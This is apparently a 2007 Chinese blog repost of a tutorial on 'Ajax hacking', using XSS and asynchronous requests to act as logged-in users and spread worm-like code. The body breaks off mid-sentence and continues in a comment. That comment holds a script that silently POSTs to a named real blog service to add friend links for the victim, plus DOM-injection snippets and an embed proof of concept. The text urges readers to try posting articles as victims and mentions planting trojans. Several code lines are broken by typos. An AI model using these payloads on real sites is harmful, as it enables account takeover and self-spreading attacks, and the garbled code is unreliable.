Ajax Hacking

作者在 2007-08-08 19:12:00 发布以下内容

引自:http://blog.csdn.net/applelure/archive/2007/07/07/1682245.aspx 

Ajax hacking这个名词最先出现在Billy Hoffman的一篇名为《AJAX dangers》报告中,他把samy yamanner这种攻击形式定义为AJAX hacking。而在此之前它们只是被说属于web2.0蠕虫(或XSSworm ,但对这种攻击形式并没有一个明确的定义。这里我们暂以AJax hacking中的XSS进行一些深入的性讨论 。关于Ajax的其他攻击形式请到网上参看文章《Top 10 Ajax Security Holes and Driving Factors》或 者是翻译成中文的《细数Web2.0下的十大安全威胁》。

  在传统的XSS 攻击中,我们的目的通常是直接提权或者获取Cookies后提权,所以代码执行方式一般是windows.openwindow.locationiframe,于是它的两大弱点就体现出来了,不具有传播性和易暴 露性。在AJax hacking中利用Ajax这 一种新技术,攻击方式及对象得以转变。其实绝大部分人在获得管理员权限又拥有文件更改权限后所能做的也就是挂马,很少设计商业机密之类!而这一攻击则直接 把矛头指向客户端,由于数据全部是使用异步调取方式,所以具有很强的隐蔽能力;通过操纵已登录的用户权限,可以直接对用户信息进行更改,甚至可以使该代码 集合自动传播实现蠕虫功能。

  XSS 利用方式

  在传播的XSS攻击案例中,代码插入的利用方式一般是在URL和文本区域(textarea)中。但对于日前大面积利用Ajax技术进行建站的站点来说,利用新形式的Ajax hacking技术可以将利用方式大体扩展到URL域、input域、textarea域、embed域、cssrssxml载体七种方式。

  URL XSS

  可以进行XSSURL一般为

技术文章 | 阅读 2088 次
文章评论,共1条
zl芊芊zl(作者)
2007-08-08 19:14
1
异步数据调用

  既然是Ajax hacking,自然需要用到异步的数据调用。这里将简单的介绍一下相关的知识,要更 深入的了解是长期实践的结果。

  1、声明xmlhttprequest对象

  数据调用需要事先声明xmlhttprequest对象,在IE6及以前版本中最简单的做法是:

var XmlHttp=new ActiveXObject("Microsoft.XMLhttp");

  在IE7和firefox中的声明方法是:

var req = new XMLHttpRequest();

  所以如果我们想编出兼容性更好的代码,可以对客户端浏览器进行判断,然后分别定义 xmlhttprequest对象,如下:

if(window.XMLHttprequest){
XmlHttp = new XMLHttpRequest();
}else if (window.ActiveXObject){
Xmlhttp = new ActiveXObject ('Microsoft.XMLHTTP');
}
  然后采用以下方法进行参数传递

XmlHttp.Open("POST","URL",true);
XmlHttp.send(null);

  这里要主意的是,XmlHttp.Open中的第一个选项为页面的请求方式,可以为post、get、head三种 第三 个选项true表示异步方式、false表示同步方式。

  利用以上代码,你可以简单实现一下在TOM博客中为当前用户添加任意用户的友情链接,如果添加 成功 会返回OK窗口,已经添加会返回friended,代码如下:

<script>
var XmlHttp=new ActiveXObject ("Microsoft.XMLhttp");
XmlHttp.Open("POST","http://blog.tom.com/manage/favorite/friend_list.php? UserName=monyer1&Flag=1",true);
XmlHttp.send(null)
XmlHttp.onreadystatechange=ServerProcess;
function ServerProcess(){
if (Xmlhttp.readystate==4 || XmlHttp.readystate=='complete')
alert (XmlHttp.responsetext); }
</script>
  利用相同原理,给登录用户添加文章也不是什么难题,只不过稍微麻烦店而已,感兴趣的朋友可 以自 己回去试试。

  V b s c r i p t 中声明xmlhttprequest的代码为这样:

dim httpreq as msxml.xmlhttprequest
set httpreq = new xmlhttprequest
httpreq.setrequesttheader "content- type:","text/xml;charest=gb2312"
httpreq,send
  利用方式与js大体相同,这里不做过多的即时。

  2、获取页面元素

  获取页面指定标签和标签中的值一般会用到以下几个DOM对象,当然对象后面可以加入相关属性, 比如 style、value、innerHTML等等。

1)document. getElementByld //获得制定id的html标签相关信息

2)document. getElementByname //获得指定name的html标签相关信息

3)document. getElementByTagName //获得指定的html标签相关信息

  3、在页面中插入html元素

   我指导的可以在页面插入html的js函数有insertAdjacentHTML、innerHTML(outerHTML)、 inserAdjacentText、innerTEXT(outerTEXT)。其中前两个是插入html代码,后两个是插入文本,所以我们一般所用的 就是前两个。另外用document对象中的createlement也可以实现代码插入,输入js代码时 请注意大小写问题。

1) <a href="#" onclick="this.innerHTML='<h1>i am monyer</h1>' ">innerHTML</a> //替换当前标签中的内容,作用域不包括当前的 html标签

2)<a href="#" onclick="this.outerHTML='<h1>i am monyer</h1>' ">outerHTML</a> //替换当前标签及标签中的内容,作用域包括当前标签及其中所有内容

3)<a onclick="this.insertAdjacentHTML('afterEnd',<h1>monyer</h1>')" href="#">insertAdjacentHTML</a> //新增插入的html代码,不改 变原标签及内容

  指定插入html标签语句的地方,有四种值用:

a.beforeBegin:插入到标签开始标记后

b.afterBegin:插入到标签开始标记后

c.beforeEnd:插入到标签结束标记前

d.afterEnd:插入到标签结束标记后

  灵活地运用这两个函数能帮我们变换出丰富的效果来,我利用百度空间插入视频的简化POC:

Html页面的代码为:

<script scr=monyerflash.js></script>
<address>src=http:/ /tv.mofile.com/cn/xplayer***?v=9IWKFISE</address>
monyerflash.js代码为:

windwo.onload=function(){
var i,j,x,y,z;
j=document.getElementsByTagName ('address');
for(i=0;i<j.length;i++){
y=document.getElementsByTagName('address') [i];
z=document.getElementsByTagName('address') [i]; firstChild.data;
x='<br/><embed '+z+'></embed>';
if(y) y.insertAdjacentHTML('beforeEnd'.x);
}}
  总结

  有了以上概述,相信你对Ajax hacking with XSS已经有了一个大体的了解,并且只要把文中的响应内容进行简单的组合和更改,就很可能做出某些令人惊喜的东西。当然因为Ajax应用的是JavaScript的一部分,所以想充分利用Ajax式的hacking并发挥它的威力还需要你对JavaScript有一个充分的了解。当你在各个过滤系统间实战时,你会遇到更多的苦难并需要试着解决各种问题。我认为是否真正入侵一个网站或者顺利挂马是次要的,不断提高自己,在功与防的对立统一中不断寻求突破才是王道!

游客请输入验证码